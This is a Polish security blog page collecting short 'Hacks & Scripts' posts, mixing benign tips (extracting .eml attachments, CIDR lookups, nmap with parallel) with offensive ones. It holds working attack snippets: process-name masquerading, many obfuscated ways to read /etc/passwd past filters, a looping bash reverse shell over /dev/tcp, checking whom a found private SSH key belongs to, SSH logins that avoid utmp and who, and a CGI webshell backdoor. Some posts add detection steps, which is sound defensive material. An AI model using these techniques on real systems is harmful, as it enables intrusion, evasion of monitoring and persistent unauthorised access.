NFsec Logo

Prosty trick, aby ukryć prawdziwą nazwę procesu

27/10/2024 w CmdLineFu, Hacks & Scripts Możliwość komentowania Prosty trick, aby ukryć prawdziwą nazwę procesu została wyłączona

// sleeper.c

#include 
#include 

int main()
{

    sleep(60);
    printf("Infecting Linux Host.");
    return 0;
}
agresor@darkstar:~$ gcc -o sleeper sleeper.c
agresor@darkstar:~$ exec -a '/lib/systemd/systemd --abuse' ./sleeper &
[1] 5354
agresor@darkstar:~$ ps x
    PID TTY      STAT   TIME COMMAND
   4925 ?        Ss     0:00 /lib/systemd/systemd --user
   4926 ?        S      0:00 (sd-pam)
   4988 ?        R      0:00 sshd: agresor@pts/0
   4989 pts/0    Ss     0:00 -bash
   5354 pts/0    S      0:00 /lib/systemd/systemd --abuse
   5357 pts/0    R+     0:00 ps x

Należy mieć na uwadze, że exec najlepiej w tym przypadku działa z plikami binarnymi. I bardzo prosto wykryć ten trick:

agresor@darkstar:~$ ls -al /proc/5354/exe
lrwxrwxrwx 1 agresor agresor 0 Oct 27 19:24 /proc/5354/exe -> /home/agresor/sleeper
agresor@darkstar:~$ cat /proc/5354/cmdline
/lib/systemd/systemd --abuse
agresor@darkstar:~$ cat /proc/5354/comm
sleeper

Więcej informacji: Why isn’t `exec -a` working the way I expect?

Zaciemnianie poleceń w powłoce bash

15/09/2024 w Hacks & Scripts, Pen Test Możliwość komentowania Zaciemnianie poleceń w powłoce bash została wyłączona

P

owłoka bash zawiera wiele funkcji, które pojawiają się w innych popularnych powłokach, a także niektóre funkcje, które są tylko w niej. Dzięki rozbudowanej składni pozwala na pisanie skryptów w wewnętrznym języku programowania, a jego elementy upraszczają pracę w codziennej pracy z wydawanymi poleceniami np. touch {exploit,payload}.{c,sh} tworzy jednym poleceniem cztery pliki: exploit.c, exploit.sh, payload.c, payload.sh. Dzięki temu jedno polecenie może zostać wydane na wiele różnych sposobów używając techniki zaciemnienia / obfuskacji (ang. obfuscation), która zmienia składnię polecenia, ale zachowuje jego semantykę jednocześnie utrudniając jego zrozumienie i umożliwiając ominięcie różnego rodzaju filtrów i mechanizmów detekcyjnych. Na przykład popularne polecenie, takie jak:

cat /etc/passwd

może zostać zapisane na wiele różnych sposobów dając ten sam wynik:

cat /et\
c/pa\
sswd

cat${IFS}/etc/passwd

IFS=,;`cat<<<cat,/etc/passwd`

{cat,/etc/passwd}

cat</etc/passwd

X=$'cat\x20/etc/passwd'&&$X

cat ${HOME:0:1}etc${HOME:0:1}passwd

{\c''\a""t,/e''*?/?a?s??}

{\c''\a""\t,/\e''*?/\p*w\d}

{$'\x63'\a$'\x74',/\e''*?/\p*w$'\x64'}

{/b??/g?e?,.,/e??/p?s??d}

$(echo {/b??/ge*n''t,\p\a\s\s\w\d})

$(echo cat /etc/[p][a][s][s][w][d])

cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

hex=(63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64) \ 
echo $(for i in ${hex[@]}; do echo -n -e "\x$i"; done) | sh

cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

showme=/ehhh/hmtc/pahhh/hmsswd&&cat ${showme//hhh\/hm/}

Przykłady te wykorzystują znak ucieczki dla nowej linii, separator pól wejściowych, przekierowania strumieni, notację ANSI-C, podstawianie poleceń, rozbudowę klamry, manipulację ciągami tekstowymi, symbole wieloznaczne, wyrażenia regularne z nawiasami kwadratowymi, przekształcanie oraz rozszerzanie parametrów powłoki. Możliwości zapisu poleceń w postaci alternatywnej zależy tylko od naszej kreatywności oraz poziomu zaawansowania umiejętności administracyjno-programistycznych w powłoce.

Więcej informacji: Extraction of wiki.bash-hackers.org from the Wayback Machine

SOConda – ekstrakcja załącznika z pliku .eml

22/03/2024 w Hacks & Scripts Możliwość komentowania SOConda – ekstrakcja załącznika z pliku .eml została wyłączona

Jak wyodrębnić załącznik z przesłanego pliku .eml do analizy?

agresor@soconda:~$ python3 -m venv emls
(emls) agresor@soconda:~$ source emls/bin/activate
(emls) agresor@soconda:~$ pip install eml-extractor
Collecting eml-extractor
  Using cached eml_extractor-0.1.1-py3-none-any.whl.metadata (3.3 kB)
Using cached eml_extractor-0.1.1-py3-none-any.whl (4.7 kB)
Installing collected packages: eml-extractor
Successfully installed eml-extractor-0.1.1

(emls) agresor@soconda:~$ du -k analyze_me.eml
25684	analyze_me.eml

(emls) agresor@soconda:~$ eml-extractor -f analyze_me.eml
PROCESSING FILE "analyze_me.eml"
>> Attachment found: malware_sample.zip
>> Saving attachment to "/home/agresor/Analyze Me/malware_sample.zip"
Done.

(emls) agresor@soconda:~$ du -k Analyze\ Me/malware_sample.zip
18668   Analyze\ Me/malware_sample.zip

Więcej informacji: EML Extractor

Python – szybkie dopasowanie adresu IP do klasy CIDR

29/07/2022 w Hacks & Scripts Możliwość komentowania Python – szybkie dopasowanie adresu IP do klasy CIDR została wyłączona

python3 -m pip install cidr-trie
>>> from cidr_trie import PatriciaTrie

>>> ip_owner = PatriciaTrie()
>>> ip_owner.insert("10.0.0.0/8", "LAN-A")
>>> ip_owner.insert("172.16.0.0/12", "LAN-B")
>>> ip_owner.insert("192.168.0.0/16", "LAN-C")
>>> ip_owner.insert("192.168.1.0/24", "LAN-C-Office-Toronto")
>>> ip_owner.insert("104.16.0.0/12", "Internet-Cloudflare")
>>> ip_owner.insert("31.171.152.0/22", "Internet-HostileVPN")

>>> ip_owner.find_all("31.171.152.25")
[('31.171.152.0/22', 'Hostile VPN')]
>>> ip_owner.find_all("192.168.1.13")
[('192.168.0.0/16', 'LAN-C'), ('192.168.1.0/24', 'LAN-C-Office-Toronto')]
>>> ', '.join((v[1] for v in ip_owner.find_all("192.168.1.13")))
'LAN C, LAN-C-Office-Toronto'

Więcej informacji: Skompresowane drzewo trie, Store CIDR IP addresses (both v4 and v6) in a trie for easy lookup

Pętla dla powłoki zwrotnej bash, gdyby nam zerwało połączenie

24/04/2021 w Hacks & Scripts Możliwość komentowania Pętla dla powłoki zwrotnej bash, gdyby nam zerwało połączenie została wyłączona

while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done 

Do kogo należy prywatny klucz SSH?

26/03/2021 w Hacks & Scripts Możliwość komentowania Do kogo należy prywatny klucz SSH? została wyłączona

Znalazłeś w repozytorium X prywatny klucz SSH i chciałbyś się dowiedzieć do kogo należy? Nic prostszego:

ssh -i znajda.key git@github.com
Warning: Permanently added 'github.com' (RSA) to the list of known hosts.
PTY allocation request failed on channel 0
Hi nfsec! You've successfully authenticated, but GitHub does not provide shell access.
Connection to github.com closed.

Działa również z gitlab.com, bitbucket.org i zapewne innymi.

Więcej informacji: GNU/JUSTIN

Prawie niewidzialne SSH

25/02/2021 w Hacks & Scripts Możliwość komentowania Prawie niewidzialne SSH została wyłączona

ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T agresor@192.168.1.1 \
"bash -i"

Jeśli w ten sposób połączymy się z wybranym serwerem przez SSH, to nasz użytkownik nie zostanie dodany do pliku /var/log/utmp i nie pojawi się w poleceniu who (zalogowanych użytkowników). Pominie również takie pliki, jak .profile oraz .bash_profile, a po stronie klienta nie zarejestruje nazwy hosta zapisując go do pliku ~/.ssh/known_hosts:

agresor@darkstar:~$ w
w
 22:44:35 up 11 min,  1 user,  load average: 0.05, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1     -                22:37    5:15   0.04s  0.03s -bash
agresor@darkstar:~$ who
who
root    tty1         2021-02-25 22:37

Prawie niewidzialne SSH, ponieważ połączenie sieciowe nadal widnieje w systemie:

agresor@darkstar:~$ ss -t
ss -t
State   Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   Process
ESTAB   0        0           192.168.56.2:ssh      192.168.56.1:49998

Plus możemy zacząć szukać sesji, które nie mają zaalokowanego terminala:

agresor@darkstar:~$ loginctl | grep -v pts
SESSION  UID USER    SEAT TTY
      3 1000 agresor

3 sessions listed.

agresor@darkstar:~$ loginctl session-status 3
3 - agresor (1000)
           Since: Mon 2022-11-21 22:01:48 UTC; 37min ago
          Leader: 1880 (sshd)
          Remote: 127.0.0.1
         Service: sshd; type tty; class user
           State: active
            Unit: session-3.scope
                  ├─1880 "sshd: agresor [priv]"
                  ├─1927 "sshd: agresor@notty" ""
                  └─1928 bash -i

Nov 21 22:01:48 darkstar systemd[1]: Started Session 3 of User agresor.

agresor@darkstar:~$ pstree `ps -eo pid,cmd | grep sshd\:.*@notty \
                    | grep -v grep | awk '{ print $1 }'` -ap
sshd,1927
  └─bash,1928 -i

Więcej informacji: man ssh

Webshell / backdoor CGI za pomocą python http.server

16/11/2020 w Hacks & Scripts Możliwość komentowania Webshell / backdoor CGI za pomocą python http.server została wyłączona

cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi 
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020; 
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64

Więcej informacji: Mark Baggett github gist

Ostrożnie z edycją skryptów bash

09/05/2020 w Hacks & Scripts Możliwość komentowania Ostrożnie z edycją skryptów bash została wyłączona

P

isząc i uruchamiając skrypty bash lepiej poczekać z ich edycją do czasu aż zakończą swoje działanie. Dlaczego? W naszym ulubionym edytorze stwórzmy prosty skrypt:

#!/bin/bash
sleep 30
#echo "All your base are belong to us!"
echo "Done!"

Jeśli uruchomimy go teraz w jednym oknie terminala to po 30 sekundach powinniśmy otrzymać tylko i wyłącznie komunikat o treści: Done!. Dobrze, a teraz po uruchomieniu go w pierwszym oknie terminala – z poziomu innego okna edytujmy jego zawartość, gdy ten jeszcze nie przekroczył czasu 30 sekund i usuńmy zero (0) z trzydziestki zostawiając samą trójkę (3), czyli finalnie nasz skrypt powinien mieć postać:
[ czytaj całość… ]

Szybsze skanowanie nmap za pomocą parallel

08/03/2020 w Hacks & Scripts Możliwość komentowania Szybsze skanowanie nmap za pomocą parallel została wyłączona

Z

ałóżmy, że posiadamy wiele projektów u publicznego dostawcy chmury obliczeniowej. Jeśli pracują na nich różni użytkownicy może dojść do sytuacji, w której zostanie otwartych zbyt wiele portów do danej usługi. Aby posiadać kontrolę nad tym, co nowego pojawia się w projektach można m.in. systematycznie skanować ich adresy IP. Jednak, aby cały proces nie trwał za długo nawet dla dużej ilości projektów można go zrównoleglić. Na pomoc przychodzi nam już znany parallel. Na początek musimy stworzyć listę projektów w formacie CSV:
[ czytaj całość… ]